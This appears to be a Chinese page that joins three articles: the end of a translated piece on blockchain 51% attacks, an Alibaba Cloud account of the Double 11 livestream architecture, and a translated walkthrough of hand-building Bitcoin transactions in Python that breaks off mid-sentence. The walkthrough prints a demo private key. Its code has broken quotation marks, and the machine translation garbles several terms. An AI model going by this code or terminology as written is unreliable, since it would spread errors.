攻击的难度如何，过去实际上已经发生了多次51％的攻击。事实上，最近（2018年4月）在Verge（XVG）区块链上进行了攻击。在这种特定情况下，攻击者在边缘区块链协议的代码中发现了一个错误，该错误允许他以极快的速度生成新的块，使他能够在短时间内创建更长版本的Verge区块链。此示例说明了一个可以触发51％攻击的事件，尽管非常罕见，并且通常归功于协议代码中的错误。一个可靠的区块链开发人员团队可能会注意到这样的错误，并防止它被滥用。在检查这个“工作证明量”POW算法（挖掘算法）时，它告诉我们更多的主动哈希/计算能力可以提高51％攻击的安全性。尽管像小型山寨币一样操作这种算法的较小区块链可能会更容易受到这种攻击，因为攻击者没有那么多的计算能力来竞争。这就是为什么51％的攻击通常发生在小型区块链（例如比特币黄金）上，如果它们发生的话。比特币区块链以前从未成为51％攻击的牺牲品。ASIC挖掘——增强的采矿硬件这也带给我们最近关于区块链的最新热门话题之一：ASIC挖掘。ASIC采矿是一种由各种早期比特币矿业公司开发的采矿技术，用于增强采矿硬件，使其更加强大。现在很多业内人士都在争论ASIC矿工是否会使某些采矿个人或集团过于强大。Monero（XMR）区块链最近实施了一项协议更新，阻止了ASIC挖掘在其区块链上的使用。结果，网络上的总哈希功率下降了惊人的80％（见下文）！在ASIC挖掘被阻止后，XMR网络的计算能力下降了80％！这表明Monero网络的功率掌握在ASIC矿工手中。如果网络上的所有参与者都使用ASIC挖掘硬件，那么这也不一定是个问题。但问题是，像Bitmain这样的大型矿业公司被怀疑控制着大量的ASIC采矿业务。即使这些组织也将此技术分发给个人，但他们可能只是在自己长期使用它之后才这样做。区块链中的一些人争论这是否会使他们太强大。理想情况下，区块链应由尽可能多的个体矿工管理。这就是让它更加去中心化的原因。看看Bitmain位于中国内蒙古的采矿设施。另一个大型采矿设施。======================================================================分享一些以太坊、EOS、比特币等区块链相关的交互式在线编程实战教程：java以太坊开发教程，主要是针对java和android程序员进行区块链以太坊开发的web3j详解。python以太坊，主要是针对python工程师使用web3.py进行区块链以太坊开发的详解。php以太坊，主要是介绍使用php进行智能合约开发交互，进行账号创建、交易、转账、代币开发以及过滤器和交易等内容。以太坊入门教程，主要介绍智能合约与dapp应用开发，适合入门。以太坊开发进阶教程，主要是介绍使用node.js、mongodb、区块链、ipfs实现去中心化电商DApp实战，适合进阶。C#以太坊，主要讲解如何使用C#开发基于.Net的以太坊应用，包括账户管理、状态与交易、智能合约开发与交互、过滤器和交易等。EOS教程，本课程帮助你快速入门EOS区块链去中心化应用的开发，内容涵盖EOS工具链、账户与钱包、发行代币、智能合约开发与部署、使用代码与智能合约交互等核心知识点，最后综合运用各知识点完成一个便签DApp的开发。java比特币开发教程，本课程面向初学者，内容即涵盖比特币的核心概念，例如区块链存储、去中心化共识机制、密钥与脚本、交易与UTXO等，同时也详细讲解如何在Java代码中集成比特币支持功能，例如创建地址、管理钱包、构造裸交易等，是Java工程师不可多得的比特币开发学习课程。php比特币开发教程，本课程面向初学者，内容即涵盖比特币的核心概念，例如区块链存储、去中心化共识机制、密钥与脚本、交易与UTXO等，同时也详细讲解如何在Php代码中集成比特币支持功能，例如创建地址、管理钱包、构造裸交易等，是Php工程师不可多得的比特币开发学习课程。tendermint区块链开发详解，本课程适合希望使用tendermint进行区块链开发的工程师，课程内容即包括tendermint应用开发模型中的核心概念，例如ABCI接口、默克尔树、多版本状态库等，也包括代币发行等丰富的实操代码，是go语言工程师快速入门区块链开发的最佳选择。汇智网原创翻译，转载请标明出处。这里是原文黑客如何进行区块链51％攻击（双重攻击）

一场稳定、高清、流畅的大型活动直播是怎么炼成的？

双11猫晚是家喻户晓的综艺晚会，在今年的双11，阿里集团为2500万用户提供了一场在线直播视觉盛宴。网友评价这是一场既稳定流畅又高清的直播，当然在这背后离不开阿里云的技术支持。本次天猫晚会中，视频云首次采用4k和50帧的技术，把整个画质提升到接近肉眼极限，同时为用户提供了如丝般顺滑的直播体验。那么这么一场大型活动的直播究竟是如何炼成的呢？阿里云视频云技术专家裘良科带我们从稳定、画质、流畅、监控四个方面开始解读。如何做到100%稳定？裘良科认为：“最安全的做法就是做好500%的准备，以不便应万变。”下图是双11直播的技术架构，分为几大部分：直播源站、视频直播中心和CDN分发系统和客户端。简单的看这张图，所有的链路都是双备份的。直播源站部分，采用了多线收流、主备转码器、多线专线等策略，直播中心都是多机房接入，再采用多流合并，当任何一个机房出现问题的时候，输出的直播流是不会受任何影响的。在这之后，直播中心会对直播流进行转码、录制、智能处理、切片、时移回放等处理，中间所有模块都是专有资源池供大型活动使用，保证不会受其他活动影响。任何一个模块发生异常，都可以秒级进行切换。产生到的内容在分发之前，会先进行存储，中心主备。到了分发环节，会实时检查源站的质量，并进行切换。在这样的架构之下，任何单点、单机房、单线路、单模块的故障，都不会导致直播服务不可用，几乎做到绝对安全。当然，除了自身稳定之外，安全也十分重要。在安全方面，视频云在推流、播放和拉流等环节，采用多重鉴权、IP黑白名单、播放格式/地区/IP等限制、HTTPS、防劫持等能力，实现全链路安全保障。如何让用户享受到极致的画质？一、实时4K直播视频清晰度作为衡量用户体验的重要指标，也是视频云技术团队十分关注的方向。本次猫晚的视频清晰度再度升级，通过阿里云直播服务提供实时4K直播，将现场4K超高清、高帧率的视频实时处理，进行画质提升。在4K视频的处理上，直播服务大规模使用GPU进行视频处理及转码，大大提升了实时视频处理能力，保证了直播视频最高4K的HEVC实时转码。据悉，4K高清直播已在阿里云的众多游戏直播客户中广泛使用。二、50帧极清阿里云和优酷合力研发的50帧极清技术，可通过人工智能算法预测运动方向和轨迹，将原始的每秒25帧画面普通电视信号变换为每秒50帧画面的高帧率视频内容，给用户提供更加流畅的沉浸式观看体验。50帧极清的效果，就像去电影院看大片，动作效果非常丰富的情况下，也不存在顿挫感。今年夏天的世界杯和本次双11猫晚都采用50 帧技术，视觉上看是非常流畅的。三、码率（比特率）最佳配比除了4K技术，基于内容进行编码优化也是视频云的优势。裘良科表示：“阿里的窄带高清技术精髓就在于使每一个比特分配到最需要它的地方。”这里我们先来看几个概念：分辨率是图像精密度的概念，代表着质量的极限，是不是越大越好呢？是也不是。分辨率大，点就多，需要的码率就高，需要的带宽就会变大，传输成本和对网络的要求都会变大。码率，比就是比特率，它代表单位时间传送的数据位数，视频文件大小就是由码率决定的，而且是成正比。帧率，代表着视觉流畅度，在我国通常帧率在25帧左右。然而帧率达到50-60的时候，我们几乎肉眼察觉不到间隔和差异。那我们如何在帧间和帧内进行合理码率分配，以达到最优的平衡呢？1. 合理分配帧间码率每一帧都需要码率来显示图像，那么我们如何判断哪一帧需要较多的帧率？哪一帧需要较少呢？其实这就需要基于对内容的分析，提前进行预判，你认为这一帧是复杂的画面，比如好莱坞动作大片，就多分配帧率，如果这一阵比较简单，比如新闻联播，就少分配。以此来实现合理的帧间码率分配。2. 合理分配帧内码率在整个图像中，并不是全部都需要非常清楚的。比如说你在看晚会的时候，你看的是中间的人物嘉宾，所以把人物和脸识别出来，就是你眼睛聚焦的地方，多分配一些码率。同时，衣服的褶皱纹理也多分配一些码率，背景作为脱焦区域，就少分配一些码率了。通过帧间、帧内的码率分配，让整个视频的质量更高。在同等码率之下，获得更高的质量。同样质量之下，可以节省更多带宽。那在播放层面，如何保证流畅不卡顿呢？裘良科认为，在确保直播流畅度上，全球覆盖的CDN节点和精准调度系统缺一不可。CDN节点是采用分布式架构，拥有遍布全球的1500个节点和充足的带宽储备，单节点带宽 40Gbps+，全网带宽输出能力120 Tbps。同时采用四层智能调度架构（如下图），来确保整个分发的流畅。如何实现精准调度，确保大型活动突发峰值的流畅但是面对晚会等大型活动，突发峰值非常高，需要更精准的调度策略，来实现调度。打比方有一个装了很多冰块和水的杯子，如果我们要把杯子里面的狭小空间全部用上，我们先要把冰块放进去，再倒液态水。DNS的协议限制类似冰块。其他别的调度形式，比如IP调度，可以做好请求级别的调度，也就是支持任意比例的负载均衡，就像液态水一样。所以，在智能调度的场景里，把“固体”和“液体”结合起来考虑，才能做到所有的节点、水位的精准控制，实现更精准的调度。同时，在码率瞬间激增的情况下，常规的流量预测算法失算了，进而会干扰流控程序, 这个问题阿里云使用了基于AI流量预测进行预调度，在10分钟内的预测的精准度到98%，一小时的精准度95%以上。监控系统保驾护航在确保了稳定、画质和流畅之后，一场大型活动的直播离不开监控系统。我们肯定需要对当前的直播状态做监控，以确保及时调整策略。监控从以下四个方面进行：1、流监控：针对每一路流进行秒级实时监控，及时获得直播流的帧率、码率、时间戳等状态2、播放质量监控：实时获知服务端慢速比，用户端卡顿率3、可用性监控：实时返回视频5XX等播错误数据，及时定位视频失败原因4、业务量监控：实时获取当前在线用户数作为这场猫晚的唯一网络直播平台，优酷平台上直播观看人数近2500万，是去年的两倍。这也是阿里云视频云第四年支持双11猫晚网络直播，从作战室监控的数据上来看，猫晚直播期间各项系统数据指标运转平稳，一场稳定、高清、流畅的大型活动直播就就此实现。经过世界杯、双11猫晚等多次锤炼，视频云直播服务已经具备一整套大型赛事/活动/综艺直播的服务经验，并实现对阿里云各行业客户的赋能，为视频行业创造更多价值。本文作者：樰篱阅读原文本文为云栖社区原创内容，未经允许不得转载。

对比特币底层协议的一些理解

媒体对比特币的关注让我开始了解比特币的真正运作方式，直至流经网络的字节数。普通人使用隐藏真实情况的软件，但我想亲自了解比特币协议。我的目标是直接使用比特币系统：手动创建比特币交易，将其作为十六进制数据提供给系统，并查看它是如何处理的。事实证明这比我预期的要困难得多，但我在这个过程中学到了很多东西，希望你会发现它很有趣。本篇博文首先简要介绍比特币，然后跳转到低级细节：创建比特币地址，进行交易，签署交易，将交易提供给对等网络，并观察结果。比特币的快速概述在深入研究细节之前，我将首先快速概述比特币的工作原理。比特币是一种相对较新的数字货币，可以通过互联网传输。你可以用Coinbase或MtGox等网站上的美元或其他传统资金购买比特币，将比特币发送给其他人，在某些地方用它们买东西，然后将比特币兑换成美元。为了略微简化，比特币由分布式数据库中的条目组成，该数据库跟踪比特币的所有权。与银行不同，比特币与用户或账户无关。相反，比特币由比特币地址拥有，例如1KKKK6N21XKo48zWKuQKXdvSsCf95ibHFa。比特币交易交易是消费比特币的机制。在交易中，某些比特币的所有者将所有权转移到新地址。比特币的一个关键创新是如何通过挖掘在分布式数据库中记录交易。交易被分组为块，大约每10分钟发送一个新的交易块，成为交易日志的一部分，称为区块链，表示交易已经（或多或少）正式进行。比特币挖掘是将交易放入块中的过程，以确保每个人都具有一致的交易日志视图。为了挖掘区块，矿工们必须找到一种极其罕见的解决方案来解决（否则无意义的）加密问题。找到此解决方案会生成一个已开采的块，该块将成为官方区块链的一部分。挖掘也是比特币进入系统的新机制。当块成功挖掘时，块中会生成新的比特币并支付给矿工。这个采矿奖金很大——目前每块25比特币（约19,000美元）。此外，矿工获得与区块中的交易相关的任何费用。因此，采矿与许多试图开采矿块的人竞争非常激烈。采矿的难度和竞争力是比特币安全的关键部分，因为它确保没有人可以用坏块淹没系统。点对点网络没有集中的比特币服务器。相反，比特币在点对点网络上运行。如果你运行比特币客户端，你将成为该网络的一部分。网络上的节点彼此交换其他对等体的交易，块和地址。首次连接到网络时，客户端会从某个随机节点或节点下载区块链。反过来，你的客户端可能会向其他节点提供数据。当你创建比特币交易时，你将其发送给某个对等方，该对等方将其发送给其他对等方，依此类推，直到它到达整个网络。矿工获取你的交易，生成包含你的交易的挖掘区块，并将此挖掘的区块发送给对等方。最终，你的客户端将收到该块，你的客户端将显示该交易已处理完毕。加密比特币使用数字签名来确保只有比特币的所有者可以使用它们。比特币地址的所有者具有与该地址相关联的私钥。为了花费比特币，他们用这个私钥签署交易，证明他们是所有者。（这有点像签署物理检查以使其有效。）公钥与每个比特币地址相关联，任何人都可以使用它来验证数字签名。块和交易由其内容的256位加密哈希标识。此哈希值用于比特币协议中的多个位置。此外，查找特殊哈希是挖掘块的难题。深入原始比特币协议本文的其余部分将逐步讨论我如何使用原始比特币协议。首先，我生成了比特币地址和密钥接下来，我做了一笔交易，将少量的比特币转移到这个地址。签署此交易给我带来了很多时间和困难。最后，我将这笔交易送入比特币点对点网络并等待它开采。本文的其余部分将详细介绍这些步骤。事实证明，实际使用比特币协议比我预期的更难。正如你将看到的，该协议有点混乱：它使用大尾数字，小尾数数字，固定长度数字，可变长度数字，自定义编码，DER编码和各种加密算法，看似随意。因此，将数据转换为正确的格式会有很多烦人的操作。直接使用协议的第二个复杂因素是加密，这是非常不可原谅的。如果你得到一个字节错误，则会拒绝该交易，而不知道问题出在何处。我遇到的最后一个困难是签署交易的过程比必要的困难得多，需要纠正很多细节。特别是，签名的交易版本与实际使用的版本非常不同。比特币地址和密钥我的第一步是创建一个比特币地址。通常，你使用比特币客户端软件来创建地址和相关密钥。但是，我写了一些Python代码来创建地址，准确显示幕后发生的事情。比特币使用各种键和地址，因此下图可能有助于解释它们。首先创建一个随机的256位私钥。需要私钥来签署交易，从而转移（支出）比特币。因此，私钥必须保密，否则你的比特币可能被盗。Elliptic Curve DSA算法从私钥生成512位公钥。（椭圆曲线加密将在后面讨论。）此公钥用于验证交易上的签名。不方便的是，比特币协议为公钥添加了前缀04。在签署交易之前不会公开公钥，这与大多数公钥公开的系统不同。下一步是生成与其他人共享的比特币地址。由于512位公钥不方便大，因此使用SHA-256和RIPEMD哈希算法将其分解为160位。然后使用比特币的自定义Base58Check编码以ASCII编码密钥。结果地址，例如1KKKK6N21XKo48zWKuQKXdvSsCf95ibHFa，是人们为了接收比特币而发布的地址。请注意，你无法从该地址确定公钥或私钥。如果你丢失了私钥（例如丢弃了硬盘），你的比特币将永远丢失。最后，电子钱包交换格式密钥（WIF）用于向客户端钱包软件添加私钥。这只是将私钥的Base58Check编码转换为ASCII，这很容易被反转以获得256位私钥。（我很好奇是否有人会使用上面的私钥来窃取我的80美分的比特币，当然有人这样做了。）总而言之，有三种类型的密钥：私钥，公钥和公钥的hash，它们使用Base58Check编码在ASCII外部表示。私钥是重要的密钥，因为它需要访问比特币，而其他密钥可以从中生成。公钥哈希是你看到的比特币地址。我使用以下代码片段生成WIF格式的私钥和地址。私钥只是一个随机的256位数字。ECDSA加密库从私钥生成公钥。比特币地址由SHA-256哈希，RIPEMD-160哈希，然后是带校验和的Base58编码生成。最后，私钥在Base58Check中编码，以生成用于将私钥输入比特币客户端软件的WIF编码。注意：这个Python随机函数不是强加密；如果你真的这样做，请使用更好的功能。def privateKeyToWif(key_hex): return utils.base58CheckEncode(0x80, key_hex.decode(‘hex’)) def privateKeyToPublicKey(s): sk = ecdsa.SigningKey.from_string(s.decode(‘hex’), curve=ecdsa.SECP256k1) vk = sk.verifying_key return (’\04’ + sk.verifying_key.to_string()).encode(‘hex’) def pubKeyToAddr(s): ripemd160 = hashlib.new(‘ripemd160’) ripemd160.update(hashlib.sha256(s.decode(‘hex’)).digest()) return utils.base58CheckEncode(0, ripemd160.digest())def keyToAddr(s): return pubKeyToAddr(privateKeyToPublicKey(s))# Warning: this random function is not cryptographically strong and is just for exampleprivate_key = ‘’.join([’%x’ % random.randrange(16) for x in range(0, 64)])print keyUtils.privateKeyToWif(private_key)print keyUtils.keyToAddr(private_key)在交易中交易是比特币系统的基本操作。你可能希望交易只是将一些比特币从一个地址移动到另一个地址，但它比这更复杂。比特币交易在一个或多个输入和输出之间移动比特币。每个输入都是提供比特币的交易和地址。每个输出都是接收比特币的地址，以及到达该地址的比特币数量。上图显示了一个示例交易“C”。在此交易中，0.005BTC取自交易A中的地址，而0.003BTC取自交易B中的地址。请注意，箭头是对先前输出的引用，因此向后转到比特币流。）对于输出，0.003BTC指向第一个地址，0.004BTC指向第二个地址。剩余的0.001BTC作为费用给到该区块的矿工。请注意，交易A的其他输出中的0.015 BTC不会用于此交易。使用的每个输入必须完全花在交易中。如果一个地址在一个交易中收到了100个比特币而你只想花1个比特币，那么交易必须花费所有100个。解决方案是使用第二个输出进行更改，这会将99个剩余比特币返回给你。交易还可以包括费用。如果在将输入相加并减去输出后仍有任何比特币剩余，则余额是支付给矿工的费用。该费用并非严格要求，但免费交易对矿工来说不是优先考虑的事项，可能几天不会处理，也可能完全丢弃。交易的典型费用是0.0002比特币（约20美分），因此费用很低但不是微不足道的。手动创建交易对于我的实验，我使用了一个带有一个输入和一个输出的简单交易，如下所示。我开始使用Coinbase的比特币并将0.00101234比特币放入地址1MMMMSUb1piy2ufrSguNUdFmAcvqrQF8M5，这是交易81b4c832…我的目标是创建一个交易，将这些比特币转移到我上面创建的地址，1KKKK6N21XKo48zWKuQKXdvSsCf95ibHFa，减去0.0001比特币的费用。因此，目标地址将接收0.00091234比特币。遵循规范，可以非常容易地组装无符号交易，如下所示。有一个输入，它使用来自交易81b4c832…输出0（第一个输出）81b4c832…请注意，此交易哈希在交易中不方便地反转。输出量为0.00091234比特币（91234为十六进制的0x016462），以小尾数格式存储在值字段中。加密部分———criptSig和scriptPubKey更复杂，稍后将对其进行讨论。这是我用来生成这个无符号交易的代码。这只是将数据打包成二进制的问题。签署交易是困难的部分，你将在下面看到。# Makes a transaction from the inputs# outputs is a list of [redemptionSatoshis, outputScript]def makeRawTransaction(outputTransactionHash, sourceIndex, scriptSig, outputs): def makeOutput(data): redemptionSatoshis, outputScript = data return (struct.pack("<Q", redemptionSatoshis).encode(‘hex’) + ‘%02x’ % len(outputScript.decode(‘hex’)) + outputScript) formattedOutputs = ‘’.join(map(makeOutput, outputs)) return ( “01000000” + # 4 bytes version “01” + # varint for number of inputs outputTransactionHash.decode(‘hex’)[::-1].encode(‘hex’) + # reverse outputTransactionHash struct.pack(’<L’, sourceIndex).encode(‘hex’) + ‘%02x’ % len(scriptSig.decode(‘hex’)) + scriptSig + “ffffffff” + # sequence “%02x” % len(outputs) + # number of outputs formattedOutputs + “00000000” # lockTime )比特币交易如何签署下图给出了如何签署和链接交易的简化视图。考虑中间交易，将比特币从地址B转移到地址C.交易的内容（包括先前交易的哈希）被哈希并用B的私钥签名。此外，B的公钥包含在交易中。通过执行几个步骤，任何人都可以验证交易是否被B授权。首先，B的公钥必须与前一个交易中的B地址相对应，证明公钥是有效的。（如前所述，地址可以很容易地从公钥中导出。）接下来，可以使用交易中B的公钥来验证B的交易签名。这些步骤确保交易有效并由B授权。比特币的一个意外部分是B的公钥在交易中使用之前不会公开。使用这个系统，比特币通过一系列交易从一个地址传递到另一个地址。可以验证链中的每个步骤以确保有效地使用比特币。请注意，交易通常可以有多个输入和输出，因此链分支到树中。比特币脚本语言你可能希望仅通过在交易中包含签名来签署比特币交易，但该过程要复杂得多。事实上，每个交易中都有一个小程序可以执行以确定交易是否有效。该程序是用Script编写的，这是一种基于堆栈的比特币脚本语言。复杂的赎回条件可以用这种语言表达。例如，托管系统可能需要三个特定用户中的两个必须签署交易才能使用它。或者可以设置各种类型的合约。Script语言非常复杂，有大约80种不同的操作码。它包括算术运算，按位运算，字符串运算，条件运算和堆栈操作。该语言还包括必要的加密操作（SHA-256，RIPEMD等）作为基元。为了确保脚本终止，该语言不包含任何循环操作。（因此，它不是Turing-complete。）但实际上，只支持几种类型的交易。为了使比特币交易有效，兑换脚本的两个部分必须成功运行。旧交易中的脚本称为scriptPubKey，新交易中的脚本称为scriptSig。要验证交易，执行scriptSig，然后执行scriptPubKey。如果脚本成功完成，则交易有效并且可以使用比特币。否则，交易无效。关键在于旧交易中的scriptPubKey定义了使用比特币的条件。新交易中的scriptSig必须提供满足条件的数据。在标准交易中，scriptSig将签名（从私钥生成）推送到堆栈，然后是公钥。接下来，执行scriptPubKey（来自源交易）以验证公钥，然后验证签名。如脚本中所述，scriptSig是：PUSHDATAsignature data and SIGHASH_ALLPUSHDATApublic key datascriptPubKey是：OP_DUPOP_HASH160PUSHDATABitcoin address (public key hash)OP_EQUALVERIFYOP_CHECKSIG执行此代码时，PUSHDATA首先将签名推送到堆栈。下一个PUSHDATA将公钥推送到堆栈。接下来，OP_DUP复制堆栈上的公钥。OP_HASH160计算公钥的160位哈希值。PUSHDATA推送所需的比特币地址。然后OP_EQUALVERIFY验证前两个堆栈值是否相等。来自新交易的公钥哈希与旧地址中的地址匹配。这证明公钥是有效的。接下来，OP_CHECKSIG检查交易的签名是否与堆栈上的公钥和签名匹配。这证明签名是有效的。签署交易我发现签署交易是手动使用比特币最困难的部分，其过程非常困难且容易出错。基本思想是使用ECDSA椭圆曲线算法和私钥生成交易的数字签名，但细节很棘手。签名过程已通过19个步骤（更多信息）进行了描述。单击下面的缩略图以获取该过程的详细图表。最大的复杂因素是签名出现在交易中间，这就提出了在签名之前如何签署交易的问题。为避免此问题，在计算签名之前，将scriptPubKey脚本从源交易复制到支出交易（即正在签名的交易）中。然后将签名转换为脚本语言中的代码，创建嵌入在交易中的scriptSig脚本。似乎在签名期间使用先前交易的scriptPubKey是出于历史原因而不是任何逻辑原因。对于具有多个输入的交易，签名甚至更复杂，因为每个输入都需要单独的签名，但我不会详细介绍。绊倒我的一步是哈希类型。在签名之前，交易具有临时附加的哈希类型常量。对于常规交易，这是SIGHASH_ALL（0x00000001）。签名后，此哈希类型将从交易结束时删除并附加到scriptSig。关于比特币协议的另一个令人讨厌的事情是签名和公钥都是512位椭圆曲线值，但它们以完全不同的方式表示：签名用DER编码编码，但公钥表示为普通字节。此外，两个值都有一个额外的字节，但位置不一致：签名后放置SIGHASH_ALL，类型04放在公钥之前。由于ECDSA算法使用随机数，因此调试签名变得更加困难。因此，每次计算时签名都不同，因此无法与已知良好的签名进行比较。更新（2014年2月）：每次签名更改的一个重要副作用是，如果重新签名交易，交易的哈希值将会更改。这称为交易可维护性。还有一些方法可以让第三方以微不足道的方式修改交易，从而改变哈希，而不是交易的意义。尽管多年来人们已经知道，但是可塑性最近在MtGox（新闻稿）中引起了很大的问题（2014年2月）。由于这些复杂情况，我花了很长时间才能使签名工作。但最终，我从签名代码中获得了所有错误，并成功签署了一项交易。这是我使用的代码片段。def makeSignedTransaction(privateKey, outputTransactionHash, sourceIndex, scriptPubKey, outputs): myTxn_forSig = (makeRawTransaction(outputTransactionHash, sourceIndex, scriptPubKey, outputs) + “01000000”) # hash code s256 = hashlib.sha256(hashlib.sha256(myTxn_forSig.decode(‘hex’)).digest()).digest() sk = ecdsa.SigningKey.from_string(privateKey.decode(‘hex’), curve=ecdsa.SECP256k1) sig = sk.sign_digest(s256, sigencode=ecdsa.util.sigencode_der) + ‘\01’ # 01 is hashtype pubKey = keyUtils.privateKeyToPublicKey(privateKey) scriptSig = utils.varstr(sig).encode(‘hex’) + utils.varstr(pubKey.decode(‘hex’)).encode(‘hex’) signed_txn = makeRawTransaction(outputTransactionHash, sourceIndex, scriptSig, outputs) verifyTxnSignature(signed_txn) return signed_txn最终的scriptSig包含签名以及源地址的公钥（1MMMMSUb1piy2ufrSguNUdFmAcvqrQF8M5）。这证明我可以使用这些比特币，使交易有效。最终的scriptPubKey包含必须成功使用比特币的脚本。请注意，在使用比特币时，此脚本将在以后的某个任意时间执行。它包含以十六进制表示的目标地址（1KKKK6N21XKo48zWKuQKXdvSsCf95ibHFa），而不是Base58Check。结果是只有该地址的私钥的所有者可以使用比特币，因此该地址实际上是所有者。最后的交易一旦完成所有必要的方法，就可以组装最终的交易。privateKey = keyUtils.wifToPrivateKey(“5HusYj2b2x4nroApgfvaSfKYZhRbKFH41bVyPooymbC6KfgSXdD”) #1MMMMsigned_txn = txnUtils.makeSignedTransaction(privateKey, “81b4c832d70cb56ff957589752eb4125a4cab78a25a8fc52d6a09e5bd4404d48”, # output (prev) transaction hash 0, # sourceIndex keyUtils.addrHashToScriptPubKey(“1MMMMSUb1piy2ufrSguNUdFmAcvqrQF8M5”), [[91234, #satoshis keyUtils.addrHashToScriptPubKey(“1KKKK6N21XKo48zWKuQKXdvSsCf95ibHFa”)]] ) txnUtils.verifyTxnSignature(signed_txn)print ‘SIGNED TXN’, signed_txn最终交易如下所示。这将上面的scriptSig和scriptPubKey与前面描述的unsigned交易相结合。切线：理解椭圆曲线比特币使用椭圆曲线作为签名算法的一部分。在解决费马最后定理的背景下，我之前听说过椭圆曲线，所以我很好奇它们是什么。椭圆曲线的数学很有意思，所以我会绕道而行，快速概述一下。名称椭圆曲线令人困惑：椭圆曲线不是椭圆形，看起来不像椭圆，它们与椭圆几乎没有关系。椭圆曲线是满足相当简单的方程y^2=x^3+ax+b的曲线。比特币使用称为secp256k1的特定椭圆曲线，其简单方程为y^2=x^3+7。椭圆曲线的一个重要特性是你可以使用一个简单的规则在曲线上定义点的添加：如果你在曲线中绘制一条直线并且它击中三个点A，B和C，则添加由A+定义B+C=0。由于椭圆曲线的特殊性质，以这种方式定义的加法“正常”起作用并形成一个组。如果定义了加法，则可以定义整数乘法：例如4A=A+A+A+A。使椭圆曲线在加密方面有用的原因是它可以快速进行整数乘法，但除法基本上需要强力。例如，你可以非常快速地计算诸如12345678A=Q的乘积（通过计算2的幂），但是如果你只知道A和Q求解nA=Q很难。在椭圆曲线加密中，密码12345678将是私钥，曲线上的点Q将是公钥。在密码学中，坐标不是在曲线上使用实值点，而是以模数为模的整数。椭圆曲线的一个令人惊讶的特性是，无论使用实数还是模运算，数学运算都非常相似。因此，比特币的椭圆曲线看起来不像上面的图片，而是一个随机的256位点混乱（想象一个大的灰色方块点）。椭圆曲线数字签名算法（ECDSA）采用消息哈希，然后使用消息，私钥和随机数进行一些简单的椭圆曲线算法，以在曲线上生成给出签名的新点。拥有公钥，消息和签名的任何人都可以执行一些简单的椭圆曲线算法来验证签名是否有效。因此，只有具有私钥的人才能签署消息，但是具有公钥的任何人都可以验证该消息。有关椭圆曲线的更多信息，请参阅参考文献。将我的交易发送到p2p网络留下椭圆曲线，此时我创建了一个交易并签名。下一步是将其发送到点对点网络，在那里它将被矿工接收并合并到一个块中。如何找到同行使用p2p网络的第一步是找到一个对等体。每当有人运行客户端时，对等体列表每隔几秒就会更改一次。一旦节点连接到对等节点，它们就会在发现新对等体时通过交换addr消息来共享新对等体。因此，新同伴迅速通过该系统传播。然而，关于如何找到第一个同伴，有一个鸡与蛋的问题。比特币客户通过几种方法解决了这个问题。几个可靠的对等体在DNS中以bitseed.xf2.org的名称注册。通过执行nslookup，客户端获取这些对等端的IP地址，并希望其中一个可以工作。如果这不起作用，则将对等体的种子列表硬编码到客户端中。当普通用户启动和停止比特币客户端时，同行进入和离开网络，因此客户端有大量的营业额。我使用的客户现在不太可能正常运营，所以如果你想做实验，你需要找到新的同行。你可能需要尝试一堆才能找到有效的方法。和同龄人交谈一旦我获得了工作对等体的地址，下一步就是将我的交易发送到对等网络。使用点对点协议非常简单。我在端口8333上打开了与任意对等方的TCP连接，开始发送消息，并依次接收消息。比特币点对点协议非常宽容;即使我完全搞砸了请求，同行也会保持沟通。重要提示：正如一些人所指出的，如果你想进行实验，你应该使用比特币测试网，这可以让你试验“虚假”的比特币，因为如果你搞砸了真正的网络，很容易丢失你的宝贵的比特币。（例如，如果你忘记了交易中的更改地址，那么多余的比特币将作为费用交给矿工。）但我想我会使用真正的比特币网络并冒险使用价值1.00美元的比特币。该协议由大约24种不同的消息类型组成。每条消息都是一个相当简单的二进制blob，包含一个ASCII命令名和一个适合该命令的二进制有效负载。该协议在比特币维基上有详细记录。连接到对等方的第一步是通过交换版本消息来建立连接。首先，我发送一个版本消息，其中包含我的协议版本号，地址和其他一些内容。对等体发回其版本消息。在此之后，节点应该用verack消息确认版本消息。（正如我所提到的，该协议是宽容的 - 即使我跳过了那个行列，一切正常。）生成版本消息并不是完全无关紧要的，因为它有一堆字段，但它可以用几行Python创建。下面的makeMessage根据幻数，命令名和有效负载构建一个任意的对等消息。getVersionMessage通过将各个字段打包在一起来为版本消息创建有效负载。magic = 0xd9b4bef9def makeMessage(magic, command, payload): checksum = hashlib.sha256(hashlib.sha256(payload).digest()).digest()[0:4] return struct.pack(‘L12sL4s’, magic, command, len(payload), checksum) + payloaddef getVersionMsg(): version = 60002 services = 1 timestamp = int(time.time()) addr_me = utils.netaddr(socket.inet_aton(“127.0.0.1”), 8333) addr_you = utils.netaddr(socket.inet_aton(“127.0.0.1”), 8333) nonce = random.getrandbits(64) sub_version_num = utils.varstr(’’) start_height = 0 payload = struct.pack(’<LQQ26s26sQsL’, version, services, timestamp, addr_me, addr_you, nonce, sub_version_num, start_height) return makeMessage(magic, ‘version’, payload)发送交易：tx我使用下面的精简Python脚本将交易发送到对等网络。该脚本发送版本消息，接收（并忽略）对等方的版本和维拉消息，然后将该交易作为tx消息发送。十六进制字符串是我之前创建的交易。def getTxMsg(payload): return makeMessage(magic, ’tx’, payload)sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((“97.88.151.164”, 8333))sock.send(msgUtils.getVersionMsg())sock.recv(1000) # receive versionsock.recv(1000) # receive veracksock.send(msgUtils.getTxMsg(“0100000001484d40d45b9ea0d652fca8258ab7caa42541eb52975857f96fb50cd732c8b481000000008a47304402202cb265bf10707bf49346c3515dd3d16fc454618c58ec0a0ff448a676c54ff71302206c6624d762a1fcef4618284ead8f08678ac05b13c84235f1654e6ad168233e8201410414e301b2328f17442c0b8310d787bf3d8a404cfbd0704f135b6ad4b2d3ee751310f981926e53a6e8c39bd7d3fefd576c543cce493cbac06388f2651d1aacbfcdffffffff0162640100000000001976a914c8e90996c7c6080ee06284600c684ed904d14c5c88ac00000000”.decode(‘hex’)))以下屏幕截图显示了如何在Wireshark网络分析程序中发送我的交易。我编写了Python脚本来处理比特币网络流量，但为了简单起见，我将在这里使用Wireshark。“tx”消息类型在ASCII转储中可见，在我的交易开始的下一行（01 00 